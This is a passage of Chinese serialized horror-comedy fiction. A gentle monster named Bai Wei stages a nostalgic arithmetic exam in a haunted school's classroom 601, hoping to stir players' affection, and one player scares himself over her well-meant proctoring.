只是不知是不是错觉,她这边回复一出,对面态度一下冷淡不少,变得爱搭不理。好在事情最终还是定下了,两边线上签了合同,只等那个怪谈下次开启,白桅提前过去做布置就行。
那么,最重要的问题又来了——
什么样的学校,会让人觉得有爱呢?
或者说,在以学校为背景的怪谈里,她该做出怎样的设计、布置出怎样的场景,才能够唤起人类心中的爱呢?
白桅再次陷入沉思。
*
和上一次不同,这次白桅没再跑去人类的论坛发帖询问了。
倒不是不想,也并非不信任热心网友,纯粹是因为她没权限了——它们这种怪谈主,在人类论坛里活动是有很大限制的,不仅只能在规定的时间内发帖,数量还有上限,一个周期内只能发一次。
白桅手头的次数已经用完了,要等两周后才能再次发帖,然而那个中学怪谈下周就开了,根本赶不上。
没办法,她只能试着从别的途径寻找答案。
她首先想到的就是每次乘车都会遇到的那个女生。毕竟也是个学生呢,而且手里总拿着一本书,很好学的样子,一看就对学校感情很深。
……遗憾的是,她第二天再上公交时,那女生正在睡觉。看着恹恹的,像是在生病,白桅也不好意思叫她,这事只能作罢。
好在她还认识别的好心人——
于是又一个半小时后,类似的问题,被明晃晃地摆到了苏英面前。
苏英当时正在跟人发消息,一本正经地在玩家群里和人讨论所谓的“论坛祝福玄学”,没太听清楚她的话,只下意识“啊”了一声:
“什么爱?”
“就是,学校——”白桅眨着眼睛,努力思考如何将自己的疑问用更便于人类理解的方式表达出来。
“我只是在想,学校里,真的有爱存在吗?”一番仔细的斟酌后,她不太确定地开口,“如果有的话,为什么我没感受到过?”
说完,还自我肯定地点了点头。
她觉得自己刚才成功说出了一句长难句。
……苏英听完却是愣了。
下一秒,便见她猛地转头,眉毛都拧了起来:
“发生什么事了?你室友又欺负你了?”
白桅:“……”啊?
这又关她室友什么事了?
“还是说你辅导员不管事?你和他说了想换寝室的事吗?”苏英叠声问着,把手机一放,在围裙上擦擦手,快步朝着白桅走了过来:
“他怎么和你说的?还是遇到别的事了?”
白桅:“…………”
“没、没有。”她赶紧道,“我只是好奇……真的没有,我好得很!”
像是怕苏英不相信,她还特意又补充一句:“我和我室友也好得很,它们都对我可好了,踩到我东西还会道歉呢。”
……也就是说还是在踩咯??
苏英一口气差点没上来,看到白桅睁得圆圆的眸子,又不由一阵心塞。
她也不知道白桅刚才那句话是真的纯好奇,还是遇到了什么问题后的有感而发——但保险起见,她觉得这事是绝对不能就这么含糊过去的。
见白桅依旧什么都不肯说,她也没再细问。略一思索,索性拉着白桅找了个位置,就近坐了下来。
“你刚才那问题呢,我觉得很有意思。”抿了抿唇,苏英沉吟开口,“但要我说,你这问得,其实不对。”
“?”白桅迷茫,“为什么不对?”
“因为你搞错了学校的作用啊。”苏英正色,“学校里会有爱存在吗?肯定是有的。但你别忘了,学校存在的意义是什么?”
“是教书育人,是帮助人成长,懂吗?
“所以说,学校,它不是用来爱的,也不用感受爱的。学校,是教人去爱的。
“爱老师、爱同学。最重要的是——它能教会你,如何爱你自己。”
苏英认真看向一脸懵懂的白桅:“没有什么比你自己更重要。他人的肯定与陪伴或许能帮你度过一段艰难的时间,但无论如何,直到最后还能陪着你的,只有你自己。什么爱啊、感情啊,都是虚的,只有你学到的东西、你的进步、你的收获,这些才是实在的。
“所以不要去管别人爱不爱你、在不在乎你,你要记住,你费那么大劲考进A大,不是为了别的,就是为了你自己!别人怎么看你,这重要吗?这不重要。重要的是你得学会爱自己,这才是每个人的必修课——懂了吗?”
苏英循循善诱地说着,边说边打量着白桅的神情——遗憾的是,这回她再没从白桅脸上看到那种恍然大明白的表情了。
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>白桅只微微蹙着眉,像是在消化某个相当艰涩的知识点,好久才犹豫地开口:
“所以,您的意思是……
“学校的爱,重点在于,教人,爱自己?”
“没错!”苏英立刻点头,用力地点头。
……白桅瞧着却更迷茫了。
“好的,谢谢店长。”又过好一会儿,才听她语气飘忽道,“非常感谢,祝您平安。”
“那我,嗯,我再好好琢磨一下……”
*
说得好听。
其实完全琢磨不出来。
“我怎么都没想到,她居然会跟我说这个。”
又数个小时后,回家的公交车上。
白桅坐在位置上,边小声咕哝着,边抱着一杯奶茶咕咕地喝。
奶茶是她下班前,利用咖啡店里的设备自己做的,虽说碍于食材限制,算不上顶好喝,但勉强还是能解点馋的。
她的旁边,坐的依旧是那个背着黑包、拿着红皮书的女生。这回那女生倒是没睡觉,只是瞧着依旧没什么精神,手中虚虚地捧着一杯插着吸管的奶茶,正是白桅上车后硬塞给她的。
隔着半透明的杯壁,可以看到奶茶里漂浮着的黑色珍珠。女生迟疑地吸了一口,似是被什么惊艳,眼睛一下亮了起来。
白桅却像没注意到她的变化,捧着杯子,仍是满脸困惑:
“我还以为她会说一些类似师生爱、同学爱之类的东西呢,谁知道竟然和我说爱自己——这又算个什么说法啊。”
“我倒觉得她说的挺有道理的。”也不知是不是吃人嘴软,这回,那素来沉默的女生却主动开口了,“学习是为自己学的。谁都有可能抛弃你,但学会的知识不会,这是很基础的道理。”
“?”白桅好奇转头看她,“所以为自己学习,就是爱自己的意思吗?”
“算是吧。”女生鼓着腮帮又吸一口奶茶,面无表情地嚼着吸起来的珍珠,咽下后又道,“也不光是学习。”
“提升自己、充实自己、挑战自己,明确自己每一步的成长和收获,我想,这些应该都算是爱自己吧。”
“……”
是这样吗?
白桅狐疑地收回目光,照旧眉头紧蹙。
半晌,却见她似是想通了什么似的,渐渐睁大了眼睛。
“等等,我好像明白了——”她喃喃着,突然低低啊了一声。
她有思路了,她知道这回的怪谈该怎么布置了!
“谢谢您!您给我的启发太大了!”蓦地转向坐在旁边的女生,她毫不掩饰自己的欣喜,“祝您平——啊,不对。”
像是意识到自己的话不妥,她匆匆住嘴,顿了顿,才又道:“我下周三的班,到时候再给你带奶茶!”
“啊……好,谢谢。”女生显然也没想到自己随口这么一说,白桅居然这么大反应,顿了会儿才道,“你……住这附近?”
说话间公交车正缓缓靠边停下,白桅应了一声,轻快地从位置上跳了起来。
“对啊,就前面那个拐角右转,随时欢迎你来玩!”
话音刚落,车厢亮起,车门打开。白桅没有停顿,顶着一车人古怪的眼神,转眼便蹦了下去。
剩下那个黑书包的女生,无声且安静地坐在座位上,满脸不解地捧起奶茶,又喝了一口。
汽车很快再次发动,车厢也再度暗下。女生就这样一边喝着奶茶,一边漫不经心地朝着车窗外张望。
眼见车子就要驶过白桅刚说过的那个拐角,她却突然像是看到了什么惊人的东西,骇然睁大了眼睛。
7.第七章
对女生的惊讶一无所知,白桅只知道,等她下次再登上公交车时,那女生已经不在那儿了。
白桅也没多管,照例自己上下班,又特意打听了附近的中小学,抽空好好观摩了一下,虽然依旧有些地方没有搞懂,但大体的构想倒是越来越清楚了。
又三天后,终于到了约定的时间。
正好这天白桅不用去上班,一整天都待在自己窝里做准备。直到时间差不多了,才挎着个环保袋,一个瞬移去了“知行中学”所在的位置。
此时距离怪谈正式开启还有三刻钟,但对应的现实坐标处,已有不少玩家在等待了——
不同于白桅那个岌岌可危的低级小怪谈,“知行中学”的规模可说相当惊人,一次能容纳的玩家数量也多,光是已在门口等着的,就有二三十人。
再加上稍后被随机传入的,人数怕不是能直接冲上五十。
真热闹啊……白桅在心里感叹着,默默隐去身形,悄无声息地从那些玩家中穿过,眨眼便来到了怪谈真正的入口。
老旧染血的校门下,同样有“人”在聚集等待。和白桅一样,他们也是和“知行中学”达成了合作,前来参加拼盘活动的其他怪谈团队。
几个穿着校服的学生正站在门口,一边维持秩序,一边安排他们依次登记进场。白桅乖乖跟着排队,轮到她的时候,负责登记的学生却明显怔了一下。
“白桅是吗?”他认真核对着手中的单子,“您负责的区域是,呃……志学楼601……”
他说到这儿,神情愈发微妙:“请问您需要租借本校的NPC或者素材包吗?如果需要的话,我们这边可以立即为您办理,并且赠送一次区域升级服务,免费更换您负责的狩猎区域。
“请问需要吗?”
“谢谢。”白桅点头,面上照例挂着笑容,“不需要的。”
“您确定吗?”那学生却再次询问,语气越发意味深长,“不办理租借的话,您的区域就只能定在志学楼601了。”
白桅不明白他为什么同样的问题要问两遍,好在她向来很有耐性。笑盈盈地正要再次点头,肩膀却突然被排在后面的人戳了一下。
她还以为是后面人等得不耐烦了,转头正要安抚,却见那个排在自己身后的长发女鬼正冲自己悄悄招手,撩开半边发帘,压低声音:
“大妹子,有闲钱的话还是租一个吧。
“601那边真的不太行,磁场很差,什么自带设备都不好用,再加上学校这边……搞不好摊位费都赚不回来。”
似乎碍于有学校那边的人在,女鬼说得遮遮掩掩,边说还边不断向白桅侧头,像是在使眼色。
……之所以说是“像是”,因为她的眼眶里根本就没眼珠,黑洞洞的一片,使没使眼色的,真看不太出来。
白桅却似明白了什么,轻轻啊了一声。转头看一眼渐渐面露不耐的学生,又转向女鬼,诚恳道了声谢。
“但我还是不用哦。”她却还是那句话,“我别的什么都不要。”
不要?不要拉倒。
见她坚持,那学生也没再说什么,咕哝一句穷鬼,就这么登记了上去。
按说登记完应该有人带她过去的,但那几个学生似乎谁都懒得跑这一趟,推诿半天,最后还是远处匆匆跑来一个满脸是血的女学生,一边狠狠瞪着那几个负责登记的男生,一边好声好气地将白桅领了过去。
“这次的游戏里,这间教室的使用权就全交给您了。游戏期间,主场员工是无法进入这里的。但请记住,您可使用的区域只有教室,其它地方,包括外面的走廊,都不算在内。在这些区域内,不管其他怪物干什么,您都无权干涉。”
将人带到,女生最后又殷殷嘱咐一番:
“此外,本校工作人员均享有杀人权,但该权益不对您的团队开放。如您需要杀人,请自行配置相关设备。
“最后,虽然理论上来说这间教室内产生的所有产物都归您所有,但若玩家同一时间受到多重刺激,产生的产物将按照‘最后一眼原则’进行自动分配。这点请您务必明确……”
女生说到这儿,刻意停顿了一下。
所谓“最后一眼原则”,即如果玩家短时间内被不止一个团队的怪物吓到,则不论该玩家身在何处,产生的恐惧都将会直接分配给他最后看到的怪物所在的团队。
白桅若有所思地应了,视线扫过教室两边的大窗户,越发明白为什么刚才那位女鬼大姐要建议自己换地方了。
毕竟要按照“最后一眼原则”来算的话,这种布置,不得不说真的很容易被人截胡。
更别提这教室只说了主场的工作成员不能进入,却完全没对其他来参展的客场怪物进行限制……
什么租赁费。保护费才对。
不过管它呢,她本来也不是为了惊惧骨子来的。
白桅无所谓地想着,眼见那女生走远了,转身便打开随身的环保袋,取出自带的惊惧瓶和爱意瓶,找了个偏僻角落,小心藏好。
藏完又拎起袋子一抖,只听哗啦啦一阵响,十几个黑色小人伞I兵降落似的掉在讲台上,有些聪明的,落地之后还自己摆了个pose。
随手拎起一个摔了屁墩的,白桅一脸认真:
“好了,还记得出门前我怎么教你们的吗?不懂的现在举手。
“没有是吧?
“行,那开工!”
*
很快,现实时间半小时后。
怪谈正式开放,整整五十五名玩家,在同一时间进入并被投放到了“知行中学”的不同角落。
根据游戏规则,他们在需要这所学校中待满八小时,并严格按照拿到的课表活动,在规定时间前往指定授课场所,若能做到满课,即视为通关。
而在没有安排课程的“休息时间”,他们则需要不断在校园内移动,躲避畸变师生和怪物校工的追捕。过程中有概率触发一定的“支线关卡”,至于这些关卡的内容,就不得而知了。
至少从目前汇集的资料来看,每一次游戏的支线内容都是不同的,想要靠背攻略完美通关根本不现实。
……当然,在其他方面,攻略还是很有参考性的。
比如,根据以往支线关卡的分布,玩家可以很轻易地根据一个支线所在的位置来估算其难度,进而确定自己的行进路线——
像现在,谢博德就正坚定地往志学楼楼上爬去。
他运气不好,落点是怪物最多的志学楼,排到的第一节课又在一个小时后。这意味着这一个小时里面,他是不受保护的,随便哪个见到的怪物学生都能抡他一巴掌。万一运气不好遇到了校工,更是被追杀至死的命——
最重要的是,他的防护装备根本没攒全。手头只有愚善眼镜,别的什么都没有,这学校里的怪物又都是能杀人的,万一一个没躲好,大概率就直接淘汰了。
这种情况下,最好的方式,就是找一个危险度低的支线关卡,想办法苟过这一个小时,再出去上课。
而根据他掌握的资料,最适合用来苟的,无疑就是头顶的志学楼601了。
虽然不知为什么,但这里的关卡总是一轮游戏中最简单的,也最温和,里面的怪物也很少,可能会攻击,但从不会杀人,光靠眼镜就能轻松防住……
唯一比较吓人的,反而是教室外面。据说那教室两边的窗户外总会有怪物路过……但相对而言,也还算能够接受。
如此想着,谢博德用力踏上最后一阶楼梯。
再往右拐,走到尽头,就是那总被玩家们戏称为“知行中学安全区”的601。
身后隐隐传来不属于自己的脚步,谢博德一个激灵,不敢再耽搁,忙快步躲了进去。
进门的刹那,森然冷意扑面而来。谢博德无意识地打个寒颤,抬眼一看,又不由愣住。
只见教室里,空无一人。
只讲台上摆着一沓纸张,瞧着像是卷子;黑板上,则是歪歪扭扭的数行小字——
【欢迎来到这里,这是一间有爱的教室。
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>【进入者请自觉领取试卷,坐到位置上开始答题。
【答题期间,请勿东张西望。请勿交头接耳。
【在三十分钟内答完五十题,且正确率达到90%以上即视为通关。通关者可于讲台上抽奖箱内抽取小红花奖券一张。】
……再后面,就没了。
不是……就这?
谢博德有点不敢相信自己的眼睛。
他小心上前,将黑板上的字又读两遍,眼神越发困惑。
倒不是看不懂规则。而是因为,他已经很久没有遇到这种以考试为主要形式的关卡了。
准确来说,是自从论坛大佬们研究出了应对怪谈考试的万金油套路后,这种形式便渐渐不在怪谈里出现了。
毕竟所谓的“考试”,本质就是一种传播精神污染的方式。那些怪物以答题为诱饵,诱使玩家们摄入带有污染性的内容,并不断加深影响,最终彻底点燃玩家内心的恐惧——
反过来说,只要知道这个套路,提前做好防范就行了。
最简单的就是靠道具,硬核点的就自制锚点,据说论坛内还曾有一个大佬,硬是靠一手得天独厚的写凰技术,几乎刷遍同城所有怪谈考场——也就是从那时候起,怪谈里就渐渐再没考试这种东西了。
万万没想到,居然在这儿又见到这种古早玩意儿……
还好他相关的应对方案早已烂熟于心。问题应该不大。
谢博德暗自思忖着,小心从讲台上拿起张卷子。
匆匆扫了眼,神情却一下微妙起来。
理由很简单。因为那卷子上全是题。
数学题。
填空题,两位数加减的那种。
……啥意思?
这是什么新型的污染方式吗?想用数学污染我纯洁的大脑?那你是不是来的晚了点,有没有可能我十八岁前脑子就已经被这东西腌透了?
而且你要整至少整个高数吧……就,小学数学?你在看不起谁?
谢博德越想越是困惑,但不管怎样,既然进来了,似乎光这么僵着也不是办法。
稍一沉吟,他拿定主意,从讲台上取了支笔,随便找了个位置坐下。
卷子还挺正式,有密封线,还要写姓名。谢博德当然不打算写真名,便试着写了下自己的论坛id,发现好像没问题,便随它去了。
接下去就是答题。
题目好像真的没啥问题,就是纯粹的数学填空题。谢博德试答了两道,见没触发什么奇怪事件,登时更加放心,拿出愚善眼镜一戴,整个人都松弛不少。
反正距离他下堂课还有很久,他索性也不急,就在那儿明目张胆地磨起洋工,几道数学题划了写写了划,答得比牛吃草还慢……
然而就在此时,他忽然听到了一个声音。
声音从后方传来。像是有人正在他身后走。
谢博德本能地紧绷了一下,然而很快又放下心来。
合着是有怪物的啊。还好他机灵,先把眼镜戴上了。
区区一点声音,问题不大,嗯。
他笃定地想着,双眼不自觉地锁定着面前的卷子,半点往旁边看的意思都没有。
却听那声音响了一阵,竟似就这么朝他走了过来——靠近之后,却又不动了。
像是就停在了他旁边。
余光捕捉到立在桌边的阴影,谢博德心里一个咯噔。
不是,等会儿,这什么情况?
怪物吗?不对吧?那他脸上戴的是啥?他拿错了还是——
心跳一时如擂鼓,然而不等他想出个所以然来,旁边那东西突然又有动作了。
只见它俯下身,垂下的头发几乎蹭到了谢博德脸上。
而后,在谢博德惊恐的目光中,缓缓抬起胳膊。
一只青白枯槁的手,随即出现在了卷子上。
对着其中一道填完的题,意味深长地点了点。
几乎是同一时间,谢博德听见自己身后,传来了一道仿佛观摩白痴般的叹息。
8.第八章
空荡的教室内,一片寂静。
静到谢博德几乎只能听到自己的心跳。
黑板上“请勿东张西望”的规则牢牢刻在脑海,让他连转一下脖子的勇气都没有;视线里,唯有那只青白的手,不紧不慢地点了又点,而后缓缓移开。
来自身后的叹息稍纵即逝,被人盯着的感觉却迟迟没有消退。谢博德几乎本能地僵直着身体,直到身旁再次响起有节奏的脚步声,才如梦初醒似地赶紧又读了一遍题目。
小风的班级里有69人,今天学校组织36人去扫墓,请问班里还剩下___人?
……啊。
谢博德一怔。
他这才发现,这题自己还真算错了。69减36,他看岔了,写成了36。
还好用来答题的是铅笔,尾端还自带一块橡皮。
他赶紧把错误的答案擦了,重新填了一个上去。暗自松了口气。
……谁想,才刚填完没多久,那轻轻的脚步声又停在了自己身后。
跟着又是一声叹息。
已经往后又写了好几道题的谢博德:“……”
不是,几个意思?他又哪道题错了??
谢博德再次僵住。
淡淡的自我怀疑缓缓爬上心头,偏偏这回那位“监考老师”只管叹气,根本没伸手。只在旁边静静站了一会儿,又走了。
整个教室就自己一个人,也不知道她到底在巡个什么劲。
谢博德迟疑一下,还是决定把前面几道题都好好再看一遍——不过因为一遍下来并未看出任何问题,所以他实际上看了三遍。
反复验算,确定无误,正要安心继续往下写。脚步声却又来了。
被注视的感觉也回来了。
这回倒没再听到叹气,而是一声很轻很轻的、像是想要说什么又硬是吞回去的微妙感叹声——紧跟着,那只青白手又出现了。
趴在卷子上,对着其中一道题点了点,又飞快收回去。
问题是,它指着的,仍是之前那道小风扫墓的题。
……
于是谢博德更迷茫了。
69减36,是等于33没错吧?没错吧?
难不成是写得太潦草,看不出来?
心头涌起一阵古怪,像是一块大石悬在半空中晃悠。谢博德抿紧嘴角,自觉把改好的答案擦了,又重写一遍。
然而写完,那只手却又来了。
指尖轻动,点的依旧是那个位置。
谢博德:…………
可、可能是擦了两遍,字迹糊了?
他不确定地想着,把卷子又擦一遍,在旁边干净的地方写下答案。
笔尖还没抬起来,青白的指尖便又落下了。
这里这里这里——再仔细看看!
指尖点了又点,像是无声的催促。
谢博德这回是真有些绷不住了。
不是,那你倒是说明白我到底哪儿错了啊!我都写得这么清楚了33、33、33——到底哪里错了!
今天就是天王老子来了,69减36它也等于33——
“哒哒。”
火气才刚才窜上头,那只青白的手却又伸过来了。
对于卷子上已经被重写了好几次的“33”,不紧不慢地又点了点。
谢博德:“……”
刚刚窜上的火气,倏然凉了下去。
……不对劲。他想。
绝对不对劲。
这只手到底想表达什么?
他现在已经答了有十几道题了,它又为什么总指着这道题反复强调?
难道,真有什么被他忽略的?
谢博德越想越觉得奇怪,忍不住又读一遍题目,心中忽又一动。
仔细一想,还真的有点怪。现在小孩那么少,一个班里,真的能有69人?
而且,为什么好端端的,要组织学生去扫墓?为什么又只有36人去扫墓?这种活动不该是全班一起行动的吗,剩下那33个人为什么不去?
莫非是……去不了吗?
像是终于明白了什么,他后背倏然一片冷汗。慌忙抬手将答案再次擦掉,小心翼翼地往上面写了一个零。
……写下的刹那,不知是不是错觉,他仿佛听到身后那东西倒吸了一口气。
……?
又、又错了?
谢博德的心再次悬了起来。
所以到底是哪里……是他分析出错了?还是说他又错过了什么暗示……
等等,这么一说,好像确实——仔细一看,整张卷子里,好像不止一道题,提到了小风?
一般出题不都用小明小红甲乙丙什么的吗。为什么是小风?
既然用的都是同一个人物,那是不是说明,这些题目之间也另有关联?或许它们都是发生在一个人身上的事?那题目的排列顺序是不是就代表着事件发生的时间线?可按照这个思路的话,小风他在第二题的时候就吃苹果噎死了啊?
还是说,他需要自己另外捋出正确的时间线,再综合所有的事件来推测正确的答案……
等等,好像还是不对——他凭什么假定,小风就是一个活人呢?
种种猜测接二连三冲上脑海,原本觉得轻而易举的小学生题目竟瞬间变得复杂又刺目。谢博德望着满满一纸的题目,一时居然不知如何下手,无意间抬了下眼,这才惊觉距离答题结束只剩十分钟,更是心脏猛地一跳,掌间都不觉渗出一层汗水……
偏偏这个时候,他清楚地听到,自己的斜后方传来了拎起纸张的声音。
而后又是脚步声,像是有人在从后往前走,将卷子轻轻放在了讲台上。
有人已经交卷了!
不仅如此,还有纸张翻动声、沙沙写字声、时钟滴答声、咳嗽声、窃窃私语声……别人都写得好快、写得好顺,好像只有他,到这个时候才如梦初醒、无从下笔……
而且为什么有人在翻面儿?背面居然也有题吗!
“时间还有五分钟。”
就在此时,前方又一道冰冷女声响起。
谢博德心头大震,擦答案的力道一个没控制住,嗤拉一声,直接将桌上的卷子扯成了两半!
完蛋——他几乎本能地想要惊叫出声,脱手的铅笔哒地掉在地上,发出清脆声响。
清脆得像是有人在耳边打了个响指。整个教室,忽又安静下来。
没有翻动试卷的声音、没有其他人的答题声、也没有走动的声响。
一片死寂。
像是明白了什么,他用力咽了口唾沫。借着捡笔的动作,弯下腰去,悄悄向四周张望。
周围的桌下都是空荡荡的。整个教室都是空的。
就连那个烦了他无数次的监考老师,也没有看到。
从头到尾,坐在这里答题的,只有他一个人。
“……”
方才那几乎要将他吞没的巨大无助感终于退去,某种刺骨的寒意却后知后觉地顺着背脊爬上。
他不想再待在这儿了。一刻都不想多待了。
话虽如此,但题还是要写完的。万一能通关呢?
怀着这样的想法,谢博德草草将被扯开的卷子拼好,几乎是囫囵吞枣地写着后面的题。以最正常的思路写满五十道,立刻把卷子放在了讲台上。
站在讲台前他才发现,教室门不知何时已经紧紧关闭。好在就在他交卷后没多久,那门又打开了——同时打开的,还有位于讲台上的小方盒子。
被判定通关的玩家,可以从里面获得一张小红花奖券。
所以……他写的其实是对的?那方才那一出到底是什么意思?
谢博德没忍住在心里骂了句,随手从小方盒里摸出张纸条,仔细一看,上面只写着四个字,“祝您平安”。
也不知道是干嘛用的,他也懒得管,匆匆一揣,便迫不及待地走了,跑得那叫一个快。
*
同一时间。
志学楼·六楼拐角处。
无人在意的角落,一道扭曲
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的身影缓缓浮现。
瞧着像是个成年男性,脖子却比寻常人要长许多。左脚处没有脚掌,因此走起路来一跛一跛。
身上披着一件厚风衣,脸上戴着口罩,很怕被人发现似的,走路时还不住东张西望。
他熟练地往前走,显然是往601去的。只是和谢博德离开的方向刚好相反,所以根本没看到他——等他终于挪到教室门口时,里面已然空无一人。
哦,严格来说,空无一玩家。
他眨了眨眼,伸长脖子,小心翼翼从门口往里看。从他的角度,刚好能看到教室前方的角落处,一个模样清秀的女生正蹲在那儿,左手像是攥着什么东西,右手则提着一个玻璃瓶子。
玻璃瓶子里空荡荡的,什么都没有。
那女生怔怔盯着那瓶子,看上去很郁闷的样子。
嘶,太惨了,颗粒无收啊……
换他他也郁闷。
长脖子男人默默想着,咳了一声,抬手轻轻敲了敲门。
“小妹儿、小妹儿。”他轻声叫着那个蹲在墙角的女生,时不时看一眼周围,很警觉的模样,见那女生看过来,忙冲她招手。
“要道具不?”他神秘兮兮地说着,哗一下拉开风衣,只见里面满满当当的、全是五颜六色的小纸盒。
“这个,我家boss自己做的怪谈特效道具,幻觉小火柴,可好用了。可以指定玩家的,划拉一下就是一次幻觉。一根让人人畜不分、两根让人美梦成真、三根让人太奶飞升——两颗骨子一盒,要不来盒试试?”
他见那女生嘴角绷得紧紧的,似乎真的很不开心,琢磨了一下,还特意送了个优惠:
“这样吧,我看你这边经营实在困难,给你打个折,体验价一颗骨子一盒,用得好你下次再来买,我还给你优惠,怎么样——”
话未说完,忽见那女生腾地站了起来。
长脖男人被唬得一顿。眼见对方哒哒哒地直冲自己走来,又赶紧冲她比划噤声的手势:
“不是不是,妹子你小点声,别让这边的怪听见——”
一般参展活动都是不许客场团队私下卖东西的。要是被发现,他可是会被拉黑的!搞不好还会被打一顿丢出去……
但他能怎么办?这年头玩家人手一副愚善眼镜,有的更是武装到牙齿,出一次怪谈的摊,没准儿还得赔上场地维修费,还不如直接偷偷卖货来钱来得快……
正思索间,却见走到面前的女生忽然抬手,直直将自己的左手递了过来。
男人这才看清,那一直被她攥在手里的,原来是个黑色的小人。
不到巴掌大小,垂着脑袋,没精打采。右胳膊软软垂下来,仔细一看,右臂和身体之间,似乎还有道白色的缝。
“诶哟。”长脖男人没忍住叫了出来,“小东西怎么了这是?”
“被人当卷子撕了。”女生言简意赅,“麻烦您替我照顾一下,我很快就回来。不用多费事,注意别让它胳膊又掉下来就行。”
“?我吗?”长脖男人又是一愣,“可我还有事……”
“我会付钱的。这是定金。”女生说着,伸手往兜里一掏,摸出一把惊惧骨子,直接塞到了他手里。
“你好好照顾,我回来付尾款。”
长脖男人:“……”
一共,嗯,二十颗骨子,相当于十盒火柴……
“请放心。”他摆正脸色,“从现在起,它就是我太奶。”
“它没性别。”女生淡淡说了句,转身又从讲台上拿了张空白卷子,抬脚就往外跑。
“诶,不是,等等。”长脖男人一想不对,赶紧又叫住女生,“那太奶……不是,您要去哪儿啊?还回来干活吗?”
“去做个用户调研。不用担心,很快回来。”白桅头也不回,将手里卷子一团,皱起的纸张转眼便还原成另一个黑色小人,啪嗒一下,紧紧抱住她的手腕。
说话间,人已快步朝着谢博德离开的方向赶去,不过转眼,便不见踪影,只余尾音,仍在空中盘旋。
9.第九章
平心而论,白桅真不觉得这次布置有什么问题。
毕竟她之前有认真向认识的人请教,自己也琢磨很久。
学校的意义在于教人爱自己,这点有问题吗?肯定没有,店长是这么说的。
爱自己的表现是挑战自己、提升自己,明确每一次进步,这点有问题吗?肯定也没有。车上的好心人是这么说的。
而对于学生来说,还有什么是比考试更有挑战性、更能明确进步的吗?自然没有,起码她是这么觉得的。
况且,她虽没读过人类的学校,但好歹也是刚从诡异学校正经毕业,拿过好几次优秀奖的。
她就觉得考试很有意思啊。刷题多开心,比实习和社会实践有意思多了。
当然,她也不是真打算教会那些玩家什么。会被选成玩家的本就是青壮年居多,很多都读过书,该学的东西,早就已经学过了。
她想做的,只是尽量布置出一个还原的现场,勾起他们的回忆,让他们触景生情,发自内心地去感动和怀念——
为了做到这点,她还特意参考真实的人类考场,购置了专门的留声设备,模仿并录下了考场内经常出现的种种声音……
她记得对于这种声响,人类还有个专门的词来着,什么白噪音。
上网查过。有的网站听这个还要钱呢。她都免费的。
题目也是专门往简单里出,生怕难了会耽误玩家缅怀过去;为增加沉浸感,还有专门的监考老师表演服务。
而且她刚才当监考老师的时候,那个玩家的反响明明很好啊!
虽然她到现在都没明白为什么人类的老师喜欢在别人卷子上点点点。但没关系,也不重要,重要的是结果。
每次她学着人类的样子在卷子上点点,他都会立刻给出反应,显然是很喜欢这种有爱小互动的——
所以白桅真的想不通。瓶子里那快堆到四分之一的惊惧骨子到底是怎么来的?
会产生骨子也就算了,就当是因为身处怪谈压力大好了;那空荡荡的爱意瓶又是什么意思?
午夜梦回当年的考场,难道连一点点的怀念都勾不起来吗?
这合理吗?这不合理!
白桅越想越觉得郁闷,甚至有点点生气;直到眼前出现谢博德的背影,方悄悄放缓了脚步。
对方正躲在一根柱子后面,很紧张地朝左右张望。
白桅没有忘记追来的目的,立刻收敛气息,跟着拎起手上的黑色小人,小心往头上一放——
黑色小人配合地啪一下卧倒,身体飞快延展、融化,转眼便化为一滩流动的半液体,无声地顺着她额头与脸颊流下,又渐渐凝固。
等白桅再抬起脸时,五官已然变了个模样。
怕出岔子,白桅还伸手摸了摸。确认五官状态正常后,方快步赶上去,轻轻拍了下谢博德的肩膀。
“!”谢博德正在观察前方有没有校工出没,冷不丁被一拍,吓得差点叫出来。
“抱歉,不好意思吓到您了!”白桅赶紧道歉,“我……我只是,之前看到你从601出来……”
她努力背着自己之前准备好的台词,煞有介事地压低声音:“是这样的,我下堂课还要等很久,想去那边待着,但又不太敢,所以想来找您打听下……”
“601那里面的支线任务,吓人吗?”
谢博德:“……”
似被勾起了什么糟糕的回忆,他脸色登时变了。
顿了会儿,才听他不太自然道:“还行吧……不是特别吓人。就还好。”
“真的吗?”白桅眼睛一亮,“那就好。”
“对了,我之前还看到,那教室的黑板上有规则……是不是只要做对题就能通关了?”
“对啊。”谢博德不假思索地点头,语气略有点不耐,“就是中间它可能闹出点动静吓唬你……反正有手就能过。”
“那不就和正常的考试差不多?”白桅立刻顺着就问了下去,“是一样的,对吗?”
“瞧你说的,怎么可能一样!”谢博德却立刻道。
毕竟谁家监考老师会没事在那儿对着一道没错的题指指点点半天——
他很想这么说,然而念头一转,话到嘴边,却又停了。
他又不是笨蛋。也已明确自己通关的事实。那从结果倒推,很轻易就能得出结论:
这关卡确实不难。考试本身也没有任何陷阱和危险,甚至题目都是真正意义上的小学生算数,是他自己想太多。
至于那个监考老师锲而不舍地点点点,多半和那些奇怪的声音一样,只是为了搞人心态罢了。
虽然他确实有被吓到,但在局外人看来,这些手段可能还真算不上高明。
而且,尽管不知道为什么愚善眼镜没有起效,但归根到底,是他自己吓自己才会整出那么大动静……
这要如实说的话,高低有点丢人。
况且,怎么说呢……
他自问不是什么坏人,但也没那么好。至少没好到能大大方方就把自己蹚雷蹚出的经验无偿送人。别人得了提示,无伤过了,那被吓懵的自己算什么?冤种吗?
再说这个关卡是真不难。也不会死人。没有通关的话,多半就是被吓一下然后送回复活点……结果也不严重。
于是,他生生把到了嘴边的“监考老师”几个关键字咽了回去,转而道:
“谁家考试,会这么……奇怪!”
“?”白桅听着,却懵了一下。
“很怪吗?”她忍不住重复一遍,眼神有点迷茫,“请问是怎么个怪法呢?”
“就那些题目啊,看着简单。”谢博德故作高深道,“甚至简单到好像在侮辱你智商。但实际上,都是表象。它里面的门道可深了。”
白桅:“……”
啊。有吗?
“实话告诉你,这才是这一关的恐怖之处。”注意到她的呆滞,谢博德神情越发凝重,“而且你想,考试最可怕的是什么?就是让你答题,却不告诉你答案,等你终于知道对错了,已经连反悔的机会都没有了……它利用的,就是这一点!”
白桅:“……”
啊。是这样吗?
“嗯,总之具体情况很复杂,我也没法说太细,等你真遇到了就明白了。这关对我来说是简单,但我不知道你是什么个水平,所以也不能把话说太死……”谢博德最后道,语气依旧充满高深。
“反正你记住,留个心眼。记住,越简单的东西,越要警觉。”
白桅:“……”
好的,本来就充满疑问的脑子更糊涂了。
还想再问,谢博德却推说赶时间,匆匆跑了。白桅没法,只能先回了601。才刚进门,又有玩家摸进来了。
来的还挺多,一口气来了四个。大概率是组队开黑的。
